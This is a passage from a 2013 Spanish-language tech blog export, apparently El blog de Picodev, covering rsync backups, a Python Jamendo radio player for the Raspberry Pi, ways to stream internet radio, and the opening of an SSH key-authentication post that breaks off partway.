Esta es otra serie de artículos que me ha ocupado varias semanas, en ella explico varias cosas del estado del arte actual sobre Javascript, como es la programación mediante módulos con RequireJS, motores de plantillas con Mustache, logging hasta los tan de moda frameworks MVC (Modelo Vista Controlador) y las pruebas unitarias también para el código javascript.<br />
<br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/03/introduccion-y-ejemplo-de-requirejs.html">Introducción y ejemplo de RequireJS</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/03/introduccion-y-ejemplo-de-mustache.html">Introducción y ejemplo de Mustache</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/03/logging-en-javascript-con-log4javascript.html">Logging en Javascript con log4javascript</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/04/capturar-errores-de-javascript.html">Capturar errores de Javascript</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/04/optimizar-modulos-de-requirejs.html">Optimizar módulos de RequireJS y archivos Javascript</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/04/introduccion-y-ejemplo-de-backbonejs.html">Introducción y ejemplo de Backbone.js</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/05/ejemplo-de-pruebas-unitarias-en.html">Ejemplo de pruebas unitarias en javascript con Jasmine y Sinon</a></div>
<div>
<br />
<h4>
Serie de artículos sobre REST y RESTEasy</h4>
Los servicios REST también están siendo ampliamente utilizados y es que permiten a otras partes consumir los servicios que proporcionemos como si fuesen servicios web o permiten proporcionar una interfaz usando correctamente la semántica del protocolo http.<br />
<br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/02/ejemplo-sencillo-de-web-service-con-resteasy.html">Ejemplo sencillo de servicio web con RESTEasy</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/02/cliente-javascript-y-java-de-servicio-web-resteasy.html">Cliente javascript y java de servicio web REST con RESTEasy</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/02/devolver-xml-json-o-html-con-resteasy.html">Devolver xml, json o html con RESTEasy</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/03/integracion-tapestry-con-resteasy.htm.html">Integración de Apache Tapestry con RESTEasy</a></div>
<div>
<br />
<h4>
Programación</h4>
<a href="http://elblogdepicodev.blogspot.com.es/2013/05/modificar-la-base-de-datos-con-liquibase.html">Modificar la base de datos con Liquibase</a><br />
<br />
<h4>
Anteriores hemerotecas</h4>
Si quieres encontrar más artículos como estos puedes visitar las anteriores ediciones de la hemeroteca de este blog:<br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/12/el-blog-de-picodev-te-desea-un-2013.html">Hemeroteca #2</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/hemeroteca-1.html">Hemeroteca #1</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2011/12/feliz-navidad-y-prospero-2012.html">Hemeroteca #0</a></div>
Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-193656307164263052013-05-17T17:50:00.001+02:002013-05-18T20:56:50.595+02:00Copia de seguridad con rsync<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="rsync" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq5Kvo_rHPnyU1b5CFRnDT4NmtbaVjBRyRuxVU6Y30atYRSa16NUCbSN-fSY0i376u6a1LcBkQHBXpEwk2TiaySxWXFx7z99c3vHc7zxoEILPzLM1dzZTZenvlBbOLwwcfP6idqflVpk35/s1600/rsync.jpg" title="rsync" /></div>
Las copias de seguridad son imprescindibles, si alguien piensa que no es que nunca se le ha estropeado el ordenador ya sea porque ha fallado el hardware o por una actualización que ha corrompido el sistema de arranque o peor por que el disco duro se ha estropeado, eso o no tiene datos importantes que tener a buen recaudo. Si aún no te ha pasado que se haya estropeado el ordenador y te has quedado sin esa información que no quieres perder quizá hayas tenido suerte pero has de saber que tarde o temprano te pasará y para no perder esa información los «backups» son imprescindibles.<br />
<br />
Una vez que tener copias de seguridad nos parece importante y tenemos respondida la pregunta de por qué, se nos plantean algunas otras preguntas:<br />
<ul>
<li>¿De que hacer copias de seguridad?</li>
<li>¿Cada cuanto hacer copias de seguridad?</li>
<li>¿Que características han de tener las copias de seguridad?</li>
<li>¿En que medio guardar las copias?</li>
<li>¿Como hacer las copias de seguridad?</li>
<li>Y tan importantes como las anteriores, ¿como recuperar los datos?</li>
</ul>
Cada pregunta tiene diferentes respuestas según el usuario, entorno o la información de la que hacer las copias de seguridad. A la pregunta de que hacer copias de seguridad cada uno deberá conocer que información no quiere perder en caso de desastre, cuanto cambian los datos y que se perdería en un periodo de tiempo (día, semana, mes, ...), si las copias deben estar comprimidas para ahorrar espacio o cifradas y finalmente dependiendo de algunas respuestas anteriores que herramienta o herramientas usar.<br />
<br />
Yo hasta ahora no usaba ninguna herramienta usaba el simple y manual método de copiar y pegar archivos del disco duro del ordenador a un disco duro externo. Cuando no tenía disco duro externo las copias de seguridad las hacía en CD y DVD pero hacerlas en un medio óptico como los anteriores no los recomiendo porque son lentos de realizar, en estos días no tienen capacidad suficiente para guardar todo y por tanto deberemos tener varios volúmenes y finalmente lo más importante porque son unos medios poco fiables. Dado el precio y capacidad que tienen hoy en día los discos duros USB externos además de su velocidad de transferencia es más recomendable esta opción y es la que a día de hoy uso. Pero aún con un disco duro externo el método de copiar y pegar tarda un buen tiempo y sigue siendo lento, con 70 GiB de archivos personales que no quiero perder, pero también el hecho de hacerlo manualmente es propenso a que algún día se me olvide hacer la copia de seguridad de todo y por la ley de Murphy ese día fallará el ordenador. Con lo que con esta situación he empezado a buscar alternativas a mi método manual de copiar y pegar.<br />
<br />
Empece probando <a href="https://launchpad.net/deja-dup">Déjà Dup</a> pero no me ha convencido porque las copias de seguridad las guarda en un formato comprimido (y cifrado si se quiere) de modo que para recuperar los archivos se ha de utilizar la misma herramienta. Para mi una de las características de la copia de seguridad es que siga pudiendo tener accesibles los archivos independientemente de la herramienta. Viendo las posibilidades de los <a href="https://wiki.archlinux.org/index.php/Backup_Programs">programas de copia de seguridad</a> disponibles en Linux por la que me he decantado ha sido <a href="http://rsync.samba.org/">rsync</a>. Es un método simple que mantiene sincronizados el contenido de dos carpetas, copiando los nuevos archivos, borrando los eliminados y solo actualizando los necesarios además de poder hacerse las copias entre dos máquinas diferentes a través de la red. Mediante rsync para hacer una copia de seguridad ahora tardo mucho menos ya que solo se copian los archivos que hayan cambiado además de estar automatizado con un script con lo que resulta más fácil y por ello se pueden hacer más a menudo.<br />
<br />
Con el siguiente comando de <a href="https://www.archlinux.org/packages/?name=rsync">rsync</a> se puede hacer una copia de seguridad de una carpeta a otra:<br />
<br />
<script src="https://gist.github.com/picodotdev/5599846.js?file=script-1.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/5599846/raw/script-1.sh">script-1.sh</a><br/></noscript>
La opción -a es una meta opción de utilidad que engloba otras con las más comunes para hacer copias de seguridad, -P hace que se muestre el progreso, --delete borra los archivos en la carpeta de destino que se hayan borrado en la carpeta origen.<br />
<br />
Otro ejemplo para copiar varias carpetas de la carpeta home de un usuario es, con la opción --files-from, hay que indicar también la opción -r para que las carpetas se copien de forma recursiva:<br />
<br />
<script src="https://gist.github.com/picodotdev/5599846.js?file=script-2.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/5599846/raw/script-2.sh">script-2.sh</a><br/></noscript>
<script src="https://gist.github.com/picodotdev/5599846.js?file=backup-files-from.txt"></script>
<noscript><a href="https://gist.github.com/picodotdev/5599846/raw/backup-files-from.txt">backup-files-from.txt</a><br/></noscript>
Este simple comando ahorra mucho tiempo ya que con él no hay que copiar los XXX GiB cada vez que hay que hacer un copia de seguridad, solo se copiará lo que haya cambiado entre la copia de seguridad y el origen, que muy probablemente es una cantidad mucho menor que esos XXX GiB. Con lo simple que es se me hace extraño que haya pasado tanto tiempo haciendo las copias de seguridad manualmente.<br />
<br />
Si quieres algunas otros ejemplos de uso de <a href="https://wiki.archlinux.org/index.php/Rsync">rsync</a> como por ejemplo el como programar las copias de seguridad con cron o quieres conocer otras herramientas en la <a href="https://wiki.archlinux.org/index.php/Backup_Programs">wiki de Arch Linux</a> tienes unas cuantas más, algunas con interfaz gráfica.<br />
<br />
Referencia:<br />
<a href="https://wiki.archlinux.org/index.php/Backup_Programs">https://wiki.archlinux.org/index.php/Backup_Programs</a><br />
<a href="https://wiki.archlinux.org/index.php/Rsync">https://wiki.archlinux.org/index.php/Rsync</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-16932133898979881402013-02-01T19:28:00.000+01:002013-02-13T16:06:54.833+01:00Reproductor de radios Jamendo con Python<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Jamendo" border="0" height="75" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4P8idZKD0K4-1xUmycI7u6UiexGmkXa9mZ7Vwa-MhtUu52nWykIco5-Gd19DdiqCKxUj4ccRmFv-p5SzjKNXiKfnzpbCGf7hPq90tBvU-gUZqV9dhCgo1WsZ2FnUHKqddkuziA71bdvGQ/s200/jamendo.png" title="Jamendo" width="200" /></div>
<br />
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Python" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpAR8B222atTClyBHgEMwBVe97GIKagSu8fDgNLPbxYJNHHwbsq1J1yLqGodXVvvcnmu4bFRCbyvU5jRl27L7NY0dDNKkWl2jd4e1znyYxyJp2iwZEvhGUC_4eRv-UYWfoC8Q3HxAPz9uc/s1600/python.png" title="Python" /></div>
Si sigues este blog desde hace un tiempo sabrás que de vez en cuando comento alguna cosa relacionada aunque sea de forma indirecta con la Raspberry Pi ya que es el computador que uso para realizar las descargas via torrent y para reproducir música principalmente con cmus. Dado que la uso sin ningún entorno de interfaz gráfica sino simplemente conectándome via SSH desde mi portátil y trabajando a través de comandos desde la terminal casi todo lo que quiera hacer con ella lo tengo que hacer a través de la terminal.<br />
<br />
Para escuchar música suelo hacerlo de <a href="http://elblogdepicodev.blogspot.com.es/2013/01/4-formas-de-escuchar-musica-internet.html">varias maneras</a>: escuchar mi propia música en mp3 con cmus, escuchar radios que emitan por internet vía streaming o también las radios de Jamendo a través del reproductor de su página web. <a href="http://developer.jamendo.com/es/">Jamendo ofrece una API</a> a través de la cual se pueden escuchar las radios. Esto es lo necesario para poder escuchar las radios de Jamendo desde la RPi utilizando la terminal. Como quería aprender algo de Pyhton y es uno de los objetivos RPi me puse manos a la obra a hacer un pequeño programa, aún no sabiendo nada de este lenguaje de programación, que me permitiese escuhar cualquiera de las radios de Jamendo via streaming.<br />
<br />
El resultado lo podéis encontrar en mi <a href="https://github.com/picodotdev/elblogdepicodev/tree/master/JamendoRadioPlayer">repositorio de GitHub</a> en un archivo que no llega a las 100 líneas de código Python. Básicamente utiliza la API Rest que ofrece Jamendo para los desarrolladores que devuelve la información en formato JSON. Permite listar las radios disponibles en Jamendo según el estilo de música y los identificativos que utilizaremos luego para indicar al programa la radio que queremos escuchar.<br />
<br />
Para usar el programa necesitaremos tener <a href="https://www.archlinux.org/packages/extra/x86_64/python/">Python</a> instalado y dado el que reproduce la música realmente es el programa <a href="https://www.archlinux.org/packages/extra/x86_64/mpg123/">mpg123</a> necesitaremos instalar también su paquete.<br />
<br />
Después de habernos descargado el programa y habiéndole dado permisos de ejecución con:<br />
<br />
<script src="https://gist.github.com/4693063.js?file=script-1.sh"></script>
<noscript><a href="https://gist.github.com/raw/4693063/script-1.sh">Código de este Gist de GitHub</a></noscript>
<br/>
Podemos obtener un listado de las radios con su nombre e identificativo usando:<br />
<br />
<script src="https://gist.github.com/4693063.js?file=script-2.sh"></script>
<noscript><a href="https://gist.github.com/raw/4693063/script-2.sh">Código de este Gist de GitHub</a></noscript>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-7NKgLBETB76wv4zxUTmJSzJP-gu2aWGODP9zEoxxOB5UCfPFBWGS921YvDKRk8sIMtGQ34GcYWSWPh584KSAqs75MckXWbSgZLvyNQkFxW_Q-DRZOFqov-1adPuhLQIByhD2xBUN5ZJC/s1600/JamendoRadioPlayer-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-7NKgLBETB76wv4zxUTmJSzJP-gu2aWGODP9zEoxxOB5UCfPFBWGS921YvDKRk8sIMtGQ34GcYWSWPh584KSAqs75MckXWbSgZLvyNQkFxW_Q-DRZOFqov-1adPuhLQIByhD2xBUN5ZJC/s320/JamendoRadioPlayer-1.png" width="320" /></a></div>
Una vez que sepamos la radio que queremos escuhar lo haríamos con, en caso de que fuese la radio Classical:<br />
<br />
<script src="https://gist.github.com/4693063.js?file=script-3.sh"></script>
<noscript><a href="https://gist.github.com/raw/4693063/script-3.sh">Código de este Gist de GitHub</a></noscript>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbyzLHMxBfXhH1qVbJzVdNMuBsThrRmPeWOHV5nvQzUD9OnCf5RlQbOmgbLmfBTp9b5GtYCnMtkpgbjLzK04R-wv6x1S5b3zGVlJ4plzTqVQ_EbytPzNMSLM2K8D7LhNbG4vaOGz38SN1f/s1600/JamendoRadioPlayer-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbyzLHMxBfXhH1qVbJzVdNMuBsThrRmPeWOHV5nvQzUD9OnCf5RlQbOmgbLmfBTp9b5GtYCnMtkpgbjLzK04R-wv6x1S5b3zGVlJ4plzTqVQ_EbytPzNMSLM2K8D7LhNbG4vaOGz38SN1f/s320/JamendoRadioPlayer-2.png" width="320" /></a></div>
Este programa se puede usar en cualquier sitio que tenga esas dependencias aunque en un ordenador de escritorio o portátil no nos sea imprescindible como en el caso de la Raspberry Pi ya que en los primeros podremos usar el reproductor web de Jamendo. Aún así aquí está para quien le pueda resultar útil como a mi. El programa no capturará todas las condiciones de error que se puedan producir, tener en cuenta que está realizado por alguien que sabe programar, conoce el lenguaje y API de Java pero no de Python. En cualquier caso si alguien cree que puede ser mejorado solo tiene que comentarmelo, enviarme un parche, ... ;)<br />
<br />
Referencia:<br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch.html">Guías de instalación Raspberry Pi</a> y <a href="http://elblogdepicodev.blogspot.com.es/2012/05/raspberry-pi-desempaquetado-unboxing.html">desempaquetado</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/01/4-formas-de-escuchar-musica-internet.html">4 formas de escuchar música a través de internet</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-15546399122032314712013-01-25T18:19:00.000+01:002013-09-13T17:44:33.830+02:004 formas de escuchar música a través de internetSi nos gusta la música probablemente tendremos una colección amplia de canciones de diferentes artistas y géneros, sin embargo, por muy amplia que sea tal vez en algún momento nos apetezca escuchar algo diferente a la música que tenemos o nos apetezca escuchar la música del momento a través de alguna radio que emita por internet via streaming.<br />
<br />
Muchas radios ya emiten a través de internet y por tanto las podemos escuchar desde el ordenador siempre y cuando tengamos una conexión a internet. Si no queremos usar el applet flash que normalmente proporciona cada radio en su propia página web podemos usar VLC, Banshee o incluso desde la terminal o consola. Para esto último ello basta con que tengamos instalado el programa <a href="https://www.archlinux.org/packages/extra/x86_64/mpg123/">mpg123</a> y conozcamos la URL en la que emite la radio lo cual a veces no es sencillo ni viendo el código fuente de la página del reproductor del applet flash pero escuchar música o radios por internet disponemos de varias opciones más, estas son algunas de ellas:<br />
<br />
<h4>
VLC</h4>
El <a href="http://www.videolan.org/vlc/">reproductor multimedia VLC</a> además de reproducir vídeos, música en prácticamente todo formato conocido de medio puede reproducir música por internet de forma bastante sencilla para el usuario. Solo hay que ir a la opción Ver > Lista de reproducción en la opción Internet de la lista de reproducción disponemos de varias opciones en cuanto a música y radios:<br />
<br />
<ul>
<li>Free Music Charts: aunque parece que esta opción ha dejado de actualizarse desde hace bastante tiempo.</li>
<li><a href="http://dir.xiph.org/index.php">Icecast Radio Directory</a>: esta es una lista de radios que emiten por internet, hay un montón de radios que podemos escuchar solo deberemos encontrar una que nos guste. Algunas de las radios emiten la música que está pegando fuerte en el momento.</li>
<li>Jamendo Selections: <a href="http://www.jamendo.com/es/">Jamendo</a> es una colección de música en la que la mayor parte de la misma esta con licencia creative-commons que nos permite además de escucharla también con el propio reproductor de Jamendo en su propia página web poder descarganos las canciones a nuestro ordenador en formato mp3. Con VLC podemos escuchar la música emitida en las radios de Jamendo, hay radios para varios estilos de música: Rock, Pop, Jazz, Dance, Hiphop+Rap, World+Reggae, Lounge+Ambient. También tenemos una lista de las 100 pistas más populares, además de cada estilo junto con las 100 y 20 pistas más populares de la semana.</li>
</ul>
<br />
Con VLC también podemos <a href="http://elblogdepicodev.blogspot.com.es/2010/02/escuchar-radios-traves-de-internet-con.html">Escuchar radios a través de internet</a> como la Radio Nacional de España.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQosHUyOuZVK0dw6pQVXINA-EM6Z5dCXQZH05zqPSnmoYhTB5eATAax7JQ-XoOJnZalaN6_Agzu_gdYnnPCgr7XROaUSNMFEQINjWhoPHpZTCRiUUuHPXMlUxmwVQBRO5olPgd-j68u2do/s1600/vlc-icecast.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQosHUyOuZVK0dw6pQVXINA-EM6Z5dCXQZH05zqPSnmoYhTB5eATAax7JQ-XoOJnZalaN6_Agzu_gdYnnPCgr7XROaUSNMFEQINjWhoPHpZTCRiUUuHPXMlUxmwVQBRO5olPgd-j68u2do/s200/vlc-icecast.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3W6MMj791nqEYUhluTqvYUmZBeelHGSHWU9bZiriJayKMLAfvjlXFTIPExX2QarSkjiEnEP6r5q0ynwwfuRoMTkynr_Zon3yiu5qncaO4s8c_CyrvnfVEOUR71QHdheJ9iHfsQvrVx02g/s1600/vlc-jamendo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3W6MMj791nqEYUhluTqvYUmZBeelHGSHWU9bZiriJayKMLAfvjlXFTIPExX2QarSkjiEnEP6r5q0ynwwfuRoMTkynr_Zon3yiu5qncaO4s8c_CyrvnfVEOUR71QHdheJ9iHfsQvrVx02g/s200/vlc-jamendo.png" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h4>
Linea de comandos con mpg123</h4>
El programa <a href="http://www.mpg123.de/">mpg123</a> nos permite escuchar música desde la linea de comandos con un consumo ridículo de recursos y sin necesidad de un programa con una interfaz gráfica, lo que nos puede ser útil para la <a href="http://www.raspberrypi.org/">Raspberry Pi</a>. Tan sólo deberemos conocer la URL en la que emite la radio. La mayoría de las radios del <a href="http://dir.xiph.org/index.php">Icecast Radio Directory</a> proporcionan un enlace M3U con la dirección de la radio y algunas radios de cada país como el caso de la radio nacional de España (RNE):<br />
<br />
<br />
<a href="http://radio1.rtve.stream.flumotion.com/rtve/radio1.mp3.m3u">RNE 1</a><br />
<a href="http://radioclasica.rtve.stream.flumotion.com/rtve/radioclasica.mp3.m3u">Radio Clásica</a><br />
<a href="http://radio3.rtve.stream.flumotion.com/rtve/radio3.mp3.m3u">Radio 3</a><br />
<a href="http://radio4.rtve.stream.flumotion.com/rtve/radio4.mp3.m3u">Radio 4</a><br />
<a href="http://radio5.rtve.stream.flumotion.com/rtve/radio5.mp3.m3u">Radio 5 Todo Noticias</a><br />
<a href="http://radioexterior.rtve.stream.flumotion.com/rtve/radioexterior.mp3.m3u">Radio Exterior</a><br />
<a href="http://www.listenlive.eu/spain.html">Lista de radios nacionales</a><br />
<br />
Teniendo la dirección URL de la radio la reproducimos con:<br />
<br />
<script src="https://gist.github.com/4636223.js?file=mpg123.sh"></script>
<noscript><div class="codigo">
<pre><a href="https://gist.github.com/raw/4636223/mpg123.sh">[Código de este Gist]</a></pre>
</div>
</noscript>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJcDx45y-vIXgRkViUswl9duR61WNQc4y6esmOb7Mpy75sVHSae_feYkkSQL5JSrBlglzKV0frF0xQV_OxLunkefLA0cg0HEOjTA3q5ZUIg4P1hqv7QUrabAXMrSBQAWVySBNapsV2ak79/s1600/mpg123.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJcDx45y-vIXgRkViUswl9duR61WNQc4y6esmOb7Mpy75sVHSae_feYkkSQL5JSrBlglzKV0frF0xQV_OxLunkefLA0cg0HEOjTA3q5ZUIg4P1hqv7QUrabAXMrSBQAWVySBNapsV2ak79/s200/mpg123.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4PaM6IMa9F-M-jfTkdBRMGVJ-Vg9cJT9CZUfk_J8vRLd4JA4f0nddmFG3IUFJGWbhFpy6WyyADd9R_9plYHIOJHtWmp6e28VhPrRo0Qcl0AMx18tXIml1ohnmVmk0bn1d8QsP95V8MkmU/s1600/mpg123-radio.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="64" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4PaM6IMa9F-M-jfTkdBRMGVJ-Vg9cJT9CZUfk_J8vRLd4JA4f0nddmFG3IUFJGWbhFpy6WyyADd9R_9plYHIOJHtWmp6e28VhPrRo0Qcl0AMx18tXIml1ohnmVmk0bn1d8QsP95V8MkmU/s200/mpg123-radio.png" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h4>
cmus</h4>
<a href="http://cmus.sourceforge.net/">cmus</a> es un reproductor de música basado en la consola que además de permitirnos escuchar nuestra música local nos permite también escuchar las radios que emitan via streaming. Al igual que con mpg123 solo necesitaremos la URL en la que emite la radio. Una vez que tenemos la URL y cmus iniciado deberemos teclear lo siguiente para añadir la radio a nuestra colección de música en cmus:<br />
<br />
<script src="https://gist.github.com/4636223.js?file=cmus-comando"></script>
<noscript><div class="codigo">
<pre><a href="https://gist.github.com/raw/4636223/cmus-comando">[Código de este Gist]</a></pre>
</div>
</noscript>
<br />
La ventaja de cmus sobre mpg123 es que no hará falta que recordemos o obtengamos la URL cada vez que queremos reproducir una emisora ya que con los comandos anteriores, dentro de cmus quedarán añadidos a nuestra librería en el artista «Stream». En el siguiente enlace puedes encontrar un <a href="http://elblogdepicodev.blogspot.com/2013/09/guia-basica-del-reproductor-de-musica-cmus.html">pequeño manual del uso básico de cmus</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzS2qXwaZBPrIy6UkpsMRQu8To9cfLQiMpdB9N28jkrFJSIZJQhxXZjV6woCIKFhPmvOrHKK2ri23zGULn0RnRwOj7h3Fshu7XBBgbAsqCSnJ8K0RTMr0KORItO9dyYijG3O2captirEqZ/s1600/cmus.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="146" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzS2qXwaZBPrIy6UkpsMRQu8To9cfLQiMpdB9N28jkrFJSIZJQhxXZjV6woCIKFhPmvOrHKK2ri23zGULn0RnRwOj7h3Fshu7XBBgbAsqCSnJ8K0RTMr0KORItO9dyYijG3O2captirEqZ/s320/cmus.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h4>
Jamendo</h4>
<a href="http://www.jamendo.com/es/">Jamendo</a> es una colección de música realizada por artistas no tan comerciales como la que solemos escuchar normalmente en las radios y que muchos artistas publican sus creaciones con una licencia <a href="http://creativecommons.org/">creative-commons</a> que nos permite incluso descargarla para un uso privado por lo que si estamos cansados de escuchar siempre lo mismo puede ser un viento de aire fresco para nuestros oídos además de poder descubrir nuevos grupos. La música la podemos escuchar desde la propia página de Jamendo con el reproductor integrado en su web con el navegador. Podemos escuchar cualquiera de las <a href="http://www.jamendo.com/es/radios">radios con diferentes estilos de música</a> o utilizar el <a href="http://www.jamendo.com/es/search">buscador</a> para seleccionar algún estilo de música más específico.<br />
<br />
Si quieres escuchar las radios de Jamendo desde la terminal o desde la Raspberry Pi puedes hacerlo utilizando este <a href="http://elblogdepicodev.blogspot.com.es/2013/02/reproductor-de-radios-jamendo-con-python.html">reproductor programado en Python</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb1vt3wVMrKuzwnMXXJ4jmdKZIFGcOvstTh8Vk7bh0g5Cu3KB6BSZAbumkwQRnf95kyqUy2nB6EcjuB8qPx8cIJ124zQRoziNRQW7Y5fswzGlP6hsGlFPW29UoPFkVQdQpiATm-_ilrhpz/s1600/Jamendo-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb1vt3wVMrKuzwnMXXJ4jmdKZIFGcOvstTh8Vk7bh0g5Cu3KB6BSZAbumkwQRnf95kyqUy2nB6EcjuB8qPx8cIJ124zQRoziNRQW7Y5fswzGlP6hsGlFPW29UoPFkVQdQpiATm-_ilrhpz/s200/Jamendo-3.png" width="151" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6_V4EFjIp2OhGGMwmkh2ROxMpOzUoXxLAv1FQXYmRXRwD2Kfmi8hGrDc3x5yD1c5zUTK40MFniSCfxH_7x_yG8bvyS4ZCa4BYMpTfNoTWsi0DGB9R6DpTv3taCrbW43Ng9PomKaLJa5Rw/s1600/Jamendo-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6_V4EFjIp2OhGGMwmkh2ROxMpOzUoXxLAv1FQXYmRXRwD2Kfmi8hGrDc3x5yD1c5zUTK40MFniSCfxH_7x_yG8bvyS4ZCa4BYMpTfNoTWsi0DGB9R6DpTv3taCrbW43Ng9PomKaLJa5Rw/s200/Jamendo-2.png" width="200" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx2x1KEF9uopXANLkcq6w-3B9GAd4FSWou4oJswUD19FDQ_pPzquDmE1vwxxrsHO9gRpzYz8ysTNvSYDOuypvqs0SESSwtejyA-mvFtnTPxI9N72LC3On75uKD2QU_bMtVIDyFVeNMwY6y/s1600/Jamendo-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx2x1KEF9uopXANLkcq6w-3B9GAd4FSWou4oJswUD19FDQ_pPzquDmE1vwxxrsHO9gRpzYz8ysTNvSYDOuypvqs0SESSwtejyA-mvFtnTPxI9N72LC3On75uKD2QU_bMtVIDyFVeNMwY6y/s200/Jamendo-1.png" width="190" /></a></div>
<br />
En definitiva 4 formas diferentes de poder variar lo que solemos escuchar. <br />
<br />
Referencia:<br />
<a href="http://elblogdepicodev.blogspot.com.es/2010/02/escuchar-radios-traves-de-internet-con.html">Escuchar radios a través de internet con VLC</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-83197634126558929042013-01-11T13:44:00.001+01:002014-09-17T20:12:36.187+02:00Autenticación SSH con clave privada y pública<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="OpenSSH" border="0" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6ZFZKXyntUVvujrK8caEdcnQ9Y_tsDJ51D9nXGBgGoeR-kH5uh9o6Opir8s_77nGYWibcvNDT02_CkzQXTHreGwW86JHMpMrcOz6w3q7HUkAKkZ2xcUlRajLuwyc_dmzvCYQ9NFwv82mk/s320/openssh.gif" title="OpenSSH" width="320" /></div>
Siguiendo el artículo de la semana pasada sobre <a href="http://elblogdepicodev.blogspot.com.es/2013/01/dejar-procesos-vivos-de-conexion-ssh.html">como hacer que los programas no se terminasen al finalizar o perderse la conexión SSH</a> en esta entrada explicaré como conectarnos a un una máquina de forma remota mediante SSH con una clave pública y privada en vez de con la contraseña del usuario.<br />
<br />
Normalmente mediante contraseña nos conectamos a la máquina remota mediante el siguiente comando:<br />
<br />
<script src="https://gist.github.com/4510310.js?file=ssh-1.sh"></script>
Esto nos pedirá la contraseña del usuario con el que trabajaremos en la máquina remota, en este caso la contraseña del usuario raspberrypi, y la deberemos introducir cada vez que realicemos la conexión. Si nos conectamos varias veces, realizamos conexiones a diferentes máquinas o nos conectamos con diferentes usuarios más pronto que tarde nos cansaremos de introducir la contraseña constantemente además de tener que estar recordando cada una de ellas si trabajamos con diferentes usuarios y asignamos a cada uno de ellos una diferente.<br />
<br />
